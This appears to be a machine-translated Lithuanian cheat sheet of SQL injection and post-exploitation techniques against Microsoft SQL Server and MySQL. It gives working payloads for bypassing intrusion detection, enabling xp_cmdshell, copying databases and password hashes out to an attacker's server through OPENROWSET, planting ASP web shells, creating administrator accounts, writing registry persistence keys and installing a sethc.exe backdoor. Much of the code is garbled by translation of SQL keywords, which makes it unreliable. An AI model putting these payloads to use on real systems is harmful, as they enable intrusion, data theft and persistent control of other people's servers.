Lentelės pavadinimas, kurį gaunate Rasti vieną plius vieną]) [ kur sąlyga] pasirinkite viršų 1 pavadinimas iš sysobjects kur xtype=u ir
statusas>0 ir vardas nėra (1 lentelė, 2 lentelė,...) Duomenų bazės administratoriaus paskyros ir sistemos administratoriaus paskyros sukūrimas _blank> _blank> pažeidžiamumo injekcija per SQLSERVER [Dabartinė paskyra turi būti SYSADMIN grupė]
[Gauti duomenų lentelės lauko pavadinimą] [Atnaujinkite lauko reikšmę į lauko pavadinimą, tada perskaitykite šio lauko reikšmę, kad gautumėte lauko pavadinimą] Naujinti lentelės pavadinimo rinkinį laukas=(Pasirinkite 1 viršų col_blank>_name(object_blank>_id (užklausos duomenų lentelės pavadinimas), lauko stulpelis
Pavyzdžiui: 1) [ kur sąlyga]
IDS aptikimo apėjimas [Kintamųjų naudojimas] ; deklaruoti @a sysname set @a=xp_blank>_+cmdshell exec @a dir c:\ ; deklaruoti @a sysname set @a=xp+_blank>_cm'+'dshell exec @a dir c:\
1. Atidarykite nuotolinio _blank> duomenų bazę Pagrindinė sintaksė pasirinkite * iš OPENROWSET(SQLOLEDB, server=servername; uid=sa; pwd=123, pasirinkite * iš lentelės1 ) Parametrai: (1) OLEDB teikėjo pavadinimas 2. Ryšio eilutės parametras gali būti bet koks prievadas, kurį reikia prijungti, pvz., pasirinkite * iš OPENROWSET(SQLOLEDB, uid=sa; pwd=123; Tinklas = DBMSSOCN; Adresas=192.168.0.1,1433; ,
Pasirinkite * iš lentelės 3. Nukopijuokite visą tikslinio pagrindinio kompiuterio _blank> duomenų bazę ir įterpkite visas nuotolines lenteles į vietinę lentelę.
Pagrindinė sintaksė: įterpti į OPENROWSET(SQLOLEDB, serveris=serverio pavadinimas; uid=sa; pwd=123, pasirinkite * iš lentelės1) pasirinkite
* iš 2 lentelės Šis eilutės sakinys nukopijuoja visus duomenis iš lentelės table2 paskirties pagrindiniame kompiuteryje į lentelę table1 nuotolinio _blank> duomenų bazėje. Tinkamas remontas praktiniame pritaikyme
Pakeiskite ryšio eilutės IP adresą ir prievadą, kad jis būtų nukreiptas į reikiamą vietą, pvz.: įterpti į OPENROWSET(SQLOLEDB,uid=sa; pwd=123; Tinklas = DBMSSOCN; Adresas=192.168.0.1,1433; ,pasirinkite
* iš lentelės1) pasirinkite * iš lentelės2 įterpti į OPENROWSET(SQLOLEDB,uid=sa; pwd=123; Tinklas = DBMSSOCN; Adresas=192.168.0.1,1433; ,pasirinkite
* nuo _blank>_sysdatabases) Pasirinkite * iš master.dbo.sysdatabases įterpti į OPENROWSET(SQLOLEDB,uid=sa; pwd=123; Tinklas = DBMSSOCN; Adresas=192.168.0.1,1433; ,pasirinkite
* nuo _blank>_sysobjects) Pasirinkite * iš user_blank>_database.dbo.sysobjects įterpti į OPENROWSET(SQLOLEDB,uid=sa; pwd=123; Tinklas = DBMSSOCN; Adresas=192.168.0.1,1433; ,pasirinkite
* nuo _blank>_syscolumns) Pasirinkite * iš user_blank>_database.dbo.syscolumns Replikuoti _blank> duomenų bazę: įterpti į OPENROWSET(SQLOLEDB,uid=sa; pwd=123; Tinklas = DBMSSOCN; Adresas=192.168.0.1,1433; ,pasirinkite
* iš lentelės1) pasirinkite * iš duomenų bazės.. 1 lentelė įterpti į OPENROWSET(SQLOLEDB,uid=sa; pwd=123; Tinklas = DBMSSOCN; Adresas=192.168.0.1,1433; ,pasirinkite
* iš lentelės2) pasirinkite * iš duomenų bazės.. 2 lentelė
Slaptažodžio, kopijuojančio maišos lentelės (HASH) prisijungimo _blank> slaptažodį, maiša saugoma sysxlogins. Štai kaip: įterpti į OPENROWSET(SQLOLEDB,
uid=sa; pwd=123; Tinklas = DBMSSOCN; Adresas=192.168.0.1,1433; , pasirinkite * iš _blank>_sysxlogins)
Pasirinkite * iš database.dbo.sysxlogins Kai gausite maišą, galite ją brutaliai priversti.
Norėdami pereiti katalogą: Pirmiausia sukurkite laikiną lentelę: temp ; create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255)); – ; įterpti temp exec master.dbo.xp_blank>_availablemedia; – Gaukite visus dabartinius diskus ; įterpti į temp(id) exec master.dbo.xp_blank>_subdirs c:\; – Gaukite pakatalogių sąrašą ; įterpti į temp(id,num1) exec master.dbo.xp_blank>_dirtree c:\; – Gaukite visų pakatalogių katalogų medžio struktūrą,
Sujunkite colius į temp lentelę ; įterpti į temp(id) exec master.dbo.xp_blank>_cmdshell įveskite c:\web\index.asp; – Peržiūrėti failą
turinys ; įterpti į temp(id) exec master.dbo.xp_blank>_cmdshell dir c:\; – ; įterpti į temp(id) exec master.dbo.xp_blank>_cmdshell dir c:\ *.asp /s/a; – ; įterpti į temp(id) exec master.dbo.xp_blank>_cmdshell cscrip{filter}t C:\Inetpub\Adminscrip{filter}ts
\adsutil.vbs išvardijimas w3svc ; įterpti į temp(id,num1) exec master.dbo.xp_blank>_dirtree c:\; – xp_blank>_dirtree Taikytina institucija
VIEŠAS) Parašykite prie lentelės: teiginys 1: ir 1=(Pasirinkite IS_blank>_SRVROLEMEMBER(sysadmin)); – 2 teiginys: ir 1=(Pasirinkite IS_blank>_SRVROLEMEMBER(serveradmin)); – 3 teiginys: ir 1=(Pasirinkite IS_blank>_SRVROLEMEMBER(setupadmin)); – 4 teiginys: ir 1=(Pasirinkite IS_blank>_SRVROLEMEMBER(securityadmin)); – 5 teiginys: ir 1=(Pasirinkite IS_blank>_SRVROLEMEMBER(securityadmin)); – 6 teiginys: ir 1=(Pasirinkite IS_blank>_SRVROLEMEMBER(diskadmin)); – 7 teiginys: ir 1=(Pasirinkite IS_blank>_SRVROLEMEMBER(bulkadmin)); – 8 teiginys: ir 1=(Pasirinkite IS_blank>_SRVROLEMEMBER(bulkadmin)); – 9 teiginys: ir 1=(Pasirinkite IS_blank>_MEMBER(db_blank>_owner)); –
Parašykite kelią į lentelę: ; Sukurti lentelės dirs(keliai varchar(100), id int)– ; Įterpti dirs exec master.dbo.xp_blank>_dirtree c:\– ir 0<>(pasirinkite 1 geriausius kelius iš dir)– ir 0<>(pasirinkite 1 geriausius kelius iš dirs, kur keliai nėra (@Inetpub))- ; Sukurti lentelės dirs1 (keliai varchar (100), id int) – ; Įterpti dirs exec master.dbo.xp_blank>_dirtree e:\web– ir 0<>(pasirinkite 1 geriausius kelius iš dirs1)–
Atsarginės _blank> duomenų bazės kūrimas žiniatinklio kataloge: Atsisiųsti ; deklaruoti @a sysname; nustatyti @a=db_blank>_name(); atsarginė duomenų bazės @a į disk=e:\web\down.bak; –
ir 1=(Pasirinkite viršų 1 pavadinimas iš(Pasirinkite viršų 12 ID,pavadinimas iš sysobjects, kur xtype=char(85)) T
Tvarka pagal ID desc) ir 1=(Pasirinkite Top 1 col_blank>_name(object_blank>_id(USER_blank>_LOGIN),1) iš sysobjects) Taip pat žr.
Susijusios lentelės. ir 1=(pasirinkite user_blank>_id iš USER_blank>_LOGIN) ir 0=(pasirinkite vartotoją iš USER_blank>_LOGIN kur vartotojas>1)
-=- wscrip{filter}t.shell pavyzdys -=- deklaruoti @o int exec sp_blank>_oacreate wscrip{filter}t.shell, @o out exec sp_blank>_oamethod @o, vykdyti, NULL, notepad.exe ; declare @o int exec sp_blank>_oacreate wscrip{filter}t.shell, @o out exec sp_blank>_oamethod @o, run,
NULL, notepad.exe–
deklaruoti @o int, @f int, @t int, @ret int deklaruoti @line varchar(8000) exec sp_blank>_oacreate scrip{filtering}ting.filesystemobject, @o out exec sp_blank>_oamethod @o, opentextfile, @f out, c:\boot.ini, 1 exec @ret = sp_blank>_oamethod @f, readline @line out while( @ret = 0 ) Pradėti spausdinti @line exec @ret = sp_blank>_oamethod @f, readline @line out pabaiga
deklaruoti @o int, @f int, @t int, @ret int exec sp_blank>_oacreate scrip{filtering}ting.filesystemobject, @o out exec sp_blank>_oamethod @o, createtextfile, @f out, c:\inetpub\wwwroot\foo.asp, 1 exec @ret = sp_blank>_oamethod @f, writeline, NULL, <% set o = server.createobject("wscrip{filter}t.shell"): o.run( request.querystring("cmd") ) %>
deklaruoti @o int, @ret int exec sp_blank>_oacreate speech.voicetext, @o out exec sp_blank>_oamethod @o, register, NULL, foo, bar Vykdomasis sp_blank>_oasetproperty @o, greitis, 150 exec sp_blank>_oamethod @o, kalbėti, NULL, visi jūsų tęsinio serveriai priklauso mums, 528 Laukti vėlavimo 00:00:05
; declare @o int, @ret int exec sp_blank>_oacreate speech.voicetext, @o out exec
sp_blank>_oamethod @o, register, NULL, foo, bar exec sp_blank>_oasetproperty @o, speed, 150 exec
sp_blank>_oamethod @o, kalbėkite, NULL, visi jūsų tęsinio serveriai priklauso mums, 528 waitfor delay
00:00:05–
xp_blank>_dirtree galiojantį VIEŠĄJĮ leidimą exec master.dbo.xp_blank>_dirtree c: Grąžinta informacija turi du laukus: pakatalogis, gylis. Pakatalogio laukai
Simbolio tipas, gylio laukas yra formavimo laukas. Sukurti lentelės dirs(keliai varchar(100), id int) Lentelės kūrimas, čia sukurta lentelė yra susijusi su aukščiau pateikta xp_blank>_dirtree, su vienodais laukais ir to paties tipo. įterpti dirs exec master.dbo.xp_blank>_dirtree c: Tol, kol mes sukuriame lentelę ir vienodai apibrėžiame saugojimo proceso grąžintus laukus
Vykdykite! Norėdami pasiekti lentelių rašymo efektą, žingsnis po žingsnio pasiekite norimą informaciją! Ši klaidos injekcija daugiausia pagrįsta MySQL duomenų tipo perpildymu mysql > PASIRINKITE 18446744073709551610 * 2 ; KLAIDA 1690 ( 22003 ): BIGINT UNSIGNED reikšmė nepatenka į diapazoną "(18446744073709551610 * 2)"
mysql > SELECT - 1 * 9223372036854775808 ; KLAIDA 1690 ( 22003 ): BIGINT UNSIGNED reikšmė nepatenka į diapazoną "(- (1) *
9223372036854775808)' Užklausos duomenų bazės versija: mysql> SELECT * 2 (if ((SELECT * from (SELECT (version ()) ) s), 18446744073709551610,
18446744073709551610)); KLAIDA 1690 (22003): BIGINT UNSIGNED reikšmė yra už diapazono ribų '(2 * if (( Pasirinkite ' 5.5 ' iš
Dual), 18446744073709551610.18446744073709551610))" Gaukite lauko pavadinimą: mysql> SELECT 2 * if((SELECT * from (select * from test.shop) as '' limit 1)>(SELECT * from
test.shop 1 riba), 18446744073709551610, 18446744073709551610);
KLAIDA 1690 (22003): BIGINT UNSIGNED reikšmė nepatenka į diapazoną '(2 * if(((pasirinkite
'article','dealer','price' from (pasirinkite 'test'.'shop'.'article' AS
"straipsnis","testas"."parduotuvė"."pardavėjas" AS "pardavėjas","testas"."parduotuvė"."kaina" AS "kaina" nuo
'test'.'shop') riba 1) > (pasirinkite
"testas"."parduotuvė"."prekė","testas"."parduotuvė"."pardavėjas","testas"."parduotuvė"."kaina" iš "testas"."parduotuvės" limitas
1)),18446744073709551610,18446744073709551610))' Gaukite lauko reikšmę:
mysql> SELECT 2 * if((SELECT * from (select * from (mysql.user) LIMIT 1) kaip '' limit 1) <
(1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2),
18446744073709551610, 18446744073709551610);
KLAIDA 1690 (22003): BIGINT UNSIGNED reikšmė nepatenka į diapazoną '(2 * if(((pasirinkite
'localhost','root','*','Y','Y','Y','Y','Y','Y','Y','Y','Y','Y','Y','Y','Y',','Y',','
Y','Y','Y','Y','Y','Y','Y','Y','Y','Y','','0','0','0','','' IŠ DVIGUBOS RIBOS 1)
<
(1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2)),184467440
73709551610,18446744073709551610))'
Atminkite, kad šis metodas neveikia su senesnėmis "Mysql" versijomis, todėl turėsite žinoti klaidos pranešimo ilgio ribą, nes tai nustatys
Galite gauti tiek, kiek norite: mysys / my_error.c
/* Maksimalus klaidos pranešimo ilgis. Turėtų būti sinchronizuojamas su MYSQL_ERRMSG_SIZE. */ #define KLAIDŲ DYDIS (512)
Jei objektas yra MariaDB ("Mysql" šakutė), bandydami aukščiau pateiktą metodą galite pamatyti tokį klaidos pranešimą:
mysql> SELECT 2*(if((SELECT * from (SELECT (version()))s), 18446744073709551610,
18446744073709551610)) KLAIDA 1690 (22003): BIGINT UNSIGNED reikšmė nepatenka į diapazoną '(2 * if((select
#),18446744073709551610,18446744073709551610))'
Kaip sprendimą šią problemą galima išspręsti tokiu būdu:
mysql> SELECT (I IS NOT NULL) - -9223372036854775808 FROM (SELECT (version())i)a; KLAIDA 1690 (22003): BIGINT reikšmė nepatenka į diapazoną '(('5.5-MariaDB' nėra nulinis) - -
(9223372036854775808))' Dabar pažiūrėkime, ar galime šiek tiek sutrumpinti savo vektorių
//查询数据库版本
SELECT 2*(if((SELECT * from (SELECT (version()))s), 18446744073709551610,
18446744073709551610)) = pasirinkite 1E308*if((pasirinkti*iš(pasirinkti versiją())x),2,2)
SELECT (I NĖRA NULINIS) - -9223372036854775808 FROM (SELECT (version())i)a = pasirinkite if(x,2,2)*1E308 iš(pasirinkti versiją()x)y
//获取表字段名称 SELECT 2 * if((SELECT * from (select * from test.shop) as '' limit 1)>(SELECT * from
test.shop riba 1), 18446744073709551610, 18446744073709551610) = select 1E308*if((select*from(select*from mysql.user)''limit 1)>(select*from mysql.user limit
1),2,2)
//获取字段值
SELECT 2 * if((SELECT * from (select * from (mysql.user) LIMIT 1) as '' limit 1) <
(1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2,3,4,5 ,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2),
18446744073709551610, 18446744073709551610) = select 1E308*if((select*from(select*from mysql.user LIMIT 1)''limit 1)<(select*from
mysql.user limitas 0),2,2)
//获取指定字段的值 pasirinkite 1E308*if((pasirinkti vartotoją|| šeimininkas|| Slaptažodis|| file_priv from(select*from mysql.user LIMIT
1)riba 1),2,2)
//获取字段个数
pasirinkite 1E308*if((pasirinkti*iš mysql.user limit 1)>(pasirinkti 1),2,2)
Kai kurios kitos deformacijos
SELECT (I NĖRA NULINIS) - -9223372036854775808 FROM (SELECT (version())i)a pasirinkite 1E308*if((pasirinkti vartotoją|| šeimininkas|| Slaptažodis|| file_priv from(select*from mysql.user LIMIT
1)riba 1),2,2); => select 2*if((select user|host|password|file_priv from(select*from mysql.user LIMIT 1)a limit
1),1e308,0); mysql> pasirinkite (pasirinkite * iš mysql.user)=1; mysql> pasirinkite (pasirinkite * iš mysql.user)in(1);
KLAIDA 1241 (21000): Operande turi būti 42 stulpeliai select 2*if((select user|host|password|file_priv from(select*from mysql.user LIMIT 1)a limit
1),1e308,0); pasirinkti if((pasirinkti vartotoją|| šeimininkas|| Slaptažodis|| file_priv nuo(pasirinkti*iš mysql.user 1 LIMITAS)a
riba 1),2,2)*1E308 SELECT (I NĖRA NULINIS) - -9223372036854775808 FROM (SELECT (version())i)a select (x!=0x00)--9223372036854775808 from(SELECT version()x)y mysql> select!x-~0.FROM(select+user()x)f; KLAIDA 1690 (22003): BIGINT UNSIGNED reikšmė nepatenka į diapazoną '((not('root@localhost')) - ~
(0))' 3. Spręskite apie duomenų bazių sistemą ; ir (pasirinkite count(*) iš sysobjects)>0 mssql ; ir (pasirinkite count(*) iš msysobjects)>0 prieigos 4. Injekcijos parametras yra simbolis "ir [užklausos kriterijai] ir "'=" 5. Paieškos metu nėra filtruotų parametrų 'ir [užklausos kriterijai] ir '%25'=' 6. Atspėkite duomenų bazę ; ir (pasirinkite Count(*) iš [duomenų bazės pavadinimas])>0 7. Atspėkite lauką ; ir (pasirinkite Count(lauko pavadinimas) iš duomenų bazės pavadinimo)>0 8. Atspėkite įrašo ilgį lauke ; ir (pasirinkite viršų 1 len (lauko pavadinimas) iš duomenų bazės pavadinimo)>0 9. (1) Atspėkite lauko ASCII reikšmę (prieiga) ; ir (pasirinkite 1 viršų ASC(MID(lauko pavadinimas, 1,1)) iš duomenų bazės pavadinimo)>0 (2) Atspėkite lauko ASCII reikšmę (mssql) ; ir (pasirinkite viršų 1 Unicode(substring(lauko pavadinimas, 1,1)) iš duomenų bazės pavadinimo)>0 10. Bandymo leidimų struktūra (mssql) ; ir 1=(pasirinkite IS_SRVROLEMEMBER('sysadmin')); -- ; ir 1=(pasirinkite IS_SRVROLEMEMBER('serveradmin')); -- ; ir 1=(pasirinkite IS_SRVROLEMEMBER('setupadmin')); -- ; ir 1=(pasirinkite IS_SRVROLEMEMBER('securityadmin')); -- ; ir 1=(pasirinkite IS_SRVROLEMEMBER('diskadmin')); -- ; ir 1=(pasirinkite IS_SRVROLEMEMBER('bulkadmin')); -- ; ir 1=(pasirinkite IS_MEMBER('db_owner')); -- 11. Pridėkite mssql ir sistemos paskyrą ; exec master.dbo.sp_addlogin vartotojo vardas; -- ; exec master.dbo.sp_password null, vartotojo vardas, slaptažodis; -- ; exec master.dbo.sp_addsrvrolemember sysadmin vartotojo vardas; -- ; exec master.dbo.xp_cmdshell 'net user username password /workstations:* /times:all
/passwordchg:yes /passwordreq:yes /active:yes /add';-- ; exec master.dbo.xp_cmdshell "grynojo vartotojo vartotojo vardas slaptažodis / add"; -- ; exec master.dbo.xp_cmdshell "net localgroup administrators username /add"; -- 12. (1) Peržiūrėkite katalogą ; Sukurti lentelės dirs(keliai varchar(100), id int) ; Įterpti dirs exec master.dbo.xp_dirtree 'C:\' ; ir (pasirinkite 1 geriausius kelius iš dirs)>0 ; ir (pasirinkite 1 geriausius kelius iš dirs, kur keliai nėra ('keliai gauti iš ankstesnio žingsnio'))>) (2) Pereiti katalogą ; create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255)); -- ; įterpti temp exec master.dbo.xp_availablemedia; -- Gaukite visus dabartinius diskus ; įterpti į temp(id) exec master.dbo.xp_subdirs 'c:\'; -- Gauti pakatalogių sąrašą ; įterpti į temp(id,num1) exec master.dbo.xp_dirtree 'c:\'; -- Gaukite visų pakatalogių katalogų medžio struktūrą ; įterpti į temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp'; -- Peržiūrėti failo turinį 13. Saugomos procedūros mssql xp_regenumvalues Registro šakninis raktas, antrinis raktas ; exec xp_regenumvalues "HKEY_LOCAL_MACHINE", "SOFTWARE\Microsoft\Windows\CurrentVersion\Run" ir kt.
įrašų rinkinio metodas, grąžinantis visas pagrindines reikšmes xp_regread Šakninis raktas, antrinis raktas, rakto reikšmės pavadinimas ; exec xp_regread 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows
\CurrentVersion','CommonFilesDir' grąžina formulavimo rakto reikšmę xp_regwrite Šakninis raktas, antrinis raktas, reikšmės pavadinimas, reikšmės tipas, reikšmė Yra dviejų tipų reikšmių tipai REG_SZ REG_DWORD simbolių tipams ir sveikiesiems skaičiams ; exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows
\CurrentVersion','TestvalueName','reg_sz','hello' įrašomi į registrą xp_regdeletevalue Šakninis raktas, dalinis raktas, reikšmės pavadinimas exec xp_regdeletevalue 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows
\CurrentVersion', 'TestvalueName', kad pašalintumėte reikšmę xp_regdeletekey 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey' ištrynimo raktas,
Įtraukti visas reikšmes į šį raktą 14. MSSQL atsarginė kopija sukuria žiniatinklio apvalkalą naudoti modelį sukurti lentelę cmd(str vaizdas); įterpti į cmd(str) reikšmes ('<% Dim oscrip{filter}t %>'); Atsarginė duomenų bazės modelio kopija į Disk='C:\l.asp'; 15. MSSQL integruotos funkcijos ; ir (pasirinkite @@version)>0, kad gautumėte "Windows" versijos numerį ; ir user_name()='dbo', kad nustatytų, ar prijungtas dabartinės sistemos naudotojas yra SA ; ir (pasirinkite user_name())>0 Išsprogdino prijungtus dabartinės sistemos vartotojus ; ir (pasirinkite db_name())>0, kad gautumėte šiuo metu prijungtą duomenų bazę 16. Glaustas žiniatinklio apvalkalas naudoti modelį sukurti lentelę cmd(str vaizdas); Įterpti į cmd(str) reikšmes ('<%=Server.CreateObject("wscrip{filter}t.shell").exec("cmd.exe /c
"&request("c")).stdout.readall%>'); atsarginės duomenų bazės modelio kopija į disk='g:\wwwtest\l.asp'; Pateikdami užklausą naudokite kažką panašaus:
http://ip/l.asp?c=dir ================================================================================================
================================================================================================
================================================================================================
================================================================================================
============================ Gaukite visus duomenų bazių pavadinimus, įskaitant sistemos duomenų bazes –PASIRINKITE pavadinimą IŠ master.dbo.sysdatabases
– Visų ne sistemos duomenų bazių pavadinimų gavimas –pasirinkite [pavadinimas] iš master.dbo.sysdatabases, kur DBId>6 Order By [Name]
– Gaukite visą informaciją, įskaitant duomenų bazės failo adresą –pasirinkite * iš master.dbo.sysduomenų bazių, kur DBId>6 Užsakyti pagal
[Vardas]
Ši išrašo užklausa pateikia visas vartotojo lenteles
Pasirinkite * iš sysobjektų, kur xtype='u'
Užklausti visos duomenų lentelės informacijos sistemoje
Pasirinkite * iš sysobjects
Pažiūrėkite į mašinos pavadinimą Pasirinkite * iš sys.servers
Stulpelio turinys exec master.dbo.xp_subdirs 'c:\'
exec master.dbo.xp_dirtree 'c:',1,1 db_owner Leidimai gali būti vykdomi
exec master.dbo.xp_dirtree 'c:/Program Files',1,1
Programos kodas, įrašytas į žiniatinklio apvalkalą
exec master.dbo.xp_subdirs 'd:\web\www.xx.com'; exec sp_makewebtask 'd:
\web\www.XXXX.com\XX.asp','select"<%execute(request("SB"))%>"
vykdyti meistras .. xp_enumgroups
Pereiti sistemos vartotojai
vykdyti meistras .. xp_getnetname Gauti dabartinį įrenginio pavadinimą
- Išvardinkite serverio fiksuotus diskus ir kiekvienam diskui skirtą laisvą vietą DBO Viešasis
vykdyti
xp_ntsec_enumdomains
-- Sukurkite paskyrą, kad galėtumėte prisijungti prie MSSQL exec master.dbo.sp_addlogin vardas, leidimas; --
-- Išvardinkite serverio domeno vardą xp_ntsec_enumdomains // Įrenginio pavadinimas //dbo public
-- Paslaugos sustabdymas arba paleidimas xp_servicecontrol "stop", "tvarkaraštis" //tvarkaraštis yra paslaugos pavadinimas //dbo
--Naudokite pid
Vykdomos programos sustabdymas xp_terminate_process 123 //123 yra PID //DBO
-- Pateikiami tik katalogo pakatalogiai dbo.xp_subdirs "C:" //dbo
SQL serveris xp_cmdshell atidarymo būdas 2005 m EXEC sp_configure "rodyti išplėstines parinktis", 1; PERKONFIGŪRUOTI; EXEC
sp_configure "xp_cmdshell", 1; PERKONFIGŪRUOTI;
SQL2005 Atidarykite "OPENROWSET" Palaikomi metodai: exec sp_configure 'rodyti išplėstines parinktis', 1; PERKONFIGŪRUOTI; exec sp_configure 'Ad Hoc
Paskirstytos užklausos",1; PERKONFIGŪRUOTI;
SQL2005 įjungti "sp_oacreate" palaikymą: exec sp_configure 'rodyti išplėstines parinktis', 1; PERKONFIGŪRUOTI; exec
sp_configure "Ole automatizavimo procedūros",1; PERKONFIGŪRUOTI
Kaip įjungti xp_cmdshell SQL Server 2008
-- Leisti keisti išplėstines parinktis. EXEC
sp_configure 'rodyti išplėstines parinktis', 1 EITI -- Norėdami atnaujinti šiuo metu sukonfigūruotą reikšmę
Išplėstinės parinktys. PERKONFIGŪRUOTI EITI -- Norėdami įjungti funkciją. EXEC sp_configure "xp_cmdshell", 1 EITI -- Į
Atnaujinkite šiuo metu sukonfigūruotą šios funkcijos reikšmę. PERKONFIGŪRUOTI EITI
exec xp_cmdshell 'ipconfig'
Šiandien norėjau pakeisti duomenų bazės serverio SA prisijungimo slaptažodį, bet staiga pamiršau, todėl turėjau atidaryti užklausų analizatorių kitų paskyrų pagalba, kad pakeisčiau SA slaptažodį
Tai labai paprasta:
Vykdymas: sp_password Null,'teracypwd,'sa' Nustatykite SA slaptažodį į "teracypwd"
Po sėkmingo vykdymo
Yra "Komanda (-os) sėkmingai baigta". GERAI!
Db leidime atskirkite MSSQL duomenų bazės serverio IP gavimo būdą
1. Vietinis NC klausosi NC -VVLP 80
2.; įterpti į
OPENROWSET('SQLOLEDB','uid=sa; pwd=xxx; Tinklas = DBMSSOCN; Adresas = jūsų ip, 80; ', 'pasirinkite * iš
dest_table') pasirinkite * iš src_table; --
Pasirinkite * iš OpenRowSet
('sqloledb','serveris=125.110.145.130,6789; uid=sa; pwd=zhu','pasirinkti vartotoją; ')
Duomenų bazės importas ir eksportas
/*不同服务器数据库之间的数据操作*/
--Sukurti nuorodų serverį exec sp_addlinkedserver
'ITSV', 'SQLOLEDB', 'Nuotolinio serverio pavadinimas arba IP adresas' exec sp_addlinkedsrvlogin 'ITSV', 'false
',null, 'vartotojo vardas', 'slaptažodis'
--užklausos pavyzdys pasirinkite * iš ITSV.database name.dbo.table pavadinimo
--importo pavyzdys Pasirinkite *
į lentelę iš ITSV.databasename.dbo.tablename
--Ištrinti susietą serverį, jei jis nebebus naudojamas ateityje exec sp_dropserver "ITSV",
"Droplogins"
-- Jungiamasi prie nuotolinio / LAN duomenų (openrowset/openquery/opendatasource) --1、openrowset
--užklausos pavyzdys Pasirinkite *
iš openrowset( 'SQLOLEDB ', 'SQL serverio pavadinimas '; "Vartotojo vardas"; 'slaptažodis', duomenų bazės pavadinimas.dbo.table pavadinimas)
-- Generuoti vietinę lentelę pasirinkite * į lentelę iš openrowset( 'SQLOLEDB ', 'SQL serverio pavadinimas '; "Vartotojo vardas"; "Slaptažodis", numeris
Pagal duomenų bazės pavadinimą.dbo. lentelės pavadinimas)
-- Importuoti vietinę lentelę į nuotolinę lentelę įterpti openrowset( 'SQLOLEDB', 'SQL serverio pavadinimas'; "Vartotojo vardas"; "Slaptažodžiai", duomenų bazės
name.dbo.table pavadinimas) Pasirinkite *iš vietinės lentelės
-- Atnaujinti vietines lenteles Atnaujinimas B nustatyti b. stulpelis A = a iš openrowset( 'SQLOLEDB ', 'SQL serverio pavadinimas '; "Vartotojo vardas"; '
Slaptažodis ', duomenų bazės pavadinimas .dbo.table pavadinimas) kaip vidinė jungtis vietinė lentelė b ant a.column1=b.column1
--openquery Norint naudoti reikia sukurti ryšį
--Pirma, sukurkite ryšį, kad sukurtumėte nuorodų serverį exec sp_addlinkedserver 'ITSV ', ' ',
"SQLOLEDB", "nuotolinio serverio pavadinimas arba IP adresas" --Užklausti Pasirinkite * FROM openquery(ITSV, 'SELECT * FROM data
library.dbo.table pavadinimas ') -- Importuoti vietinę lentelę į nuotolinę lentelę įterpti openquery(ITSV, 'SELECT * FROM database.dbo.table name') Pasirinkite * iš vietinio
lentelė --atnaujinti vietinę lentelę Atnaujinimas B nustatyti b. stulpelis B=a FROM openquery(ITSV, 'SELECT * FROM database.dbo.tablename')
kaip vidinis sujungimas su vietine lentele b ant a. stulpelis A=b. stulpelis A
--3、opendatasource/openrowset PASIRINKITE * NUO
opendatasource( 'SQLOLEDB ', 'Data Source=ip/ServerName; Vartotojo ID=Prisijungimo vardas; Slaptažodis = Slaptažodis '
).test.dbo.roy_ta -- Importuoti vietinę lentelę į nuotolinę lentelę
xp_cmdshell ištrynimas ir atkūrimas
Atkūrimo būdai xp_cmdshell Ištrinkite išplėstinės saugomos procedūros xp_cmdshell
pareiškimas exec sp_dropextendedproc "xp_cmdshell"
Atkurkite cmdshell sql sakinį exec sp_addextendedproc xp_cmdshell ,@dllname ='xplog70.dll'
exec
master.dbo.addextendedproc 'xp_cmdshell','xplog70.dll'; Pasirinkite Count(*) iš
master.dbo.sysobjects, kur xtype='x' ir Grąžinamas rezultatas yra 1 ir viskas gerai
Kitu atveju turite įkelti c:\inetput\web
\xplog70.dll vėliau exec master.dbo.sp_addextendedproc 'xp_cmdshell','c:\inetput\web\xplog70.dll
’; --
Jei ištrinsite jį tokiu būdu lašinimo procedūra sp_addextendedproc lašinimo procedūra sp_oacreate exec
sp_dropextendedproc "xp_cmdshell"
Galite jį atkurti naudodami šį teiginį dbcc addextendedproc ("sp_oacreate","odsole70.dll") dbcc
addextendedproc ("xp_cmdshell","xplog70.dll")
Tokiu būdu jį galima atkurti tiesiogiai, nepriklausomai nuo to, ar sp_addextendedproc egzistuoja, ar ne
1、 Naudokite xp_cmdshell: exec master.dbo.xp_cmdshell "grynojo vartotojo administratoriaus administratorius / pridėti" exec
master.dbo.xp_cmdshell "Net localgroup administrators admin /add"
xp_cmdshell atveju naudokite sp_oacreate, kad laikytumėtės sp_oamethod: deklaruoti @object int exec
sp_oacreate 'wscrip{filter}t.Shell', @object out exec sp_oamethod
@object,'Vykdyti',NULL,'tinklo vartotojo administratoriaus administratorius /add' exec sp_oamethod @object,'Vykdyti',NULL,'net
vietinės grupės administratorių administratorius /add'
Pastaba: regsvr32 /s c:\windows\system32\wshom.ocx Pradėti wscrip{filter}t.shell 3、 Naudokite sp_oacreate ir MSVV deklaruoti @o int exec sp_oacreate
'scrip{filter}ting.filesystemobject', @o out exec sp_oamethod @o, 'copyfile',null,'c:\windows
\explorer.exe' ,'C:\Windows\System32\sethc.exe'; deklaruoti @oo int exec
sp_oacreate 'scrip{filtering}ting.filesystemobject', @oo exec sp_oamethod @oo,
'copyfile',null,'c:\windows\system32\sethc.exe' ,'c:\windows\system32\dllcache\sethc.exe';
Naudokite xp_regwrite (db_owner, reikia paleisti iš naujo): exec master.dbo.xp_regwrite
'hkey_local_machine','Software\Microsoft\Windows\currentversion\
Vykdyti','EADD1','reg_sz','Tinklo vartotojo administratoriaus administratorius /pridėti' exec master.dbo.xp_regwrite
'hkey_local_machine','Software\Microsoft\Windows\currentversion\
Vykdyti','EADD2','reg_sz','Tinklo vietinės grupės administratorių administratorius /pridėti' 5. Naudokite sp_add_job: exec
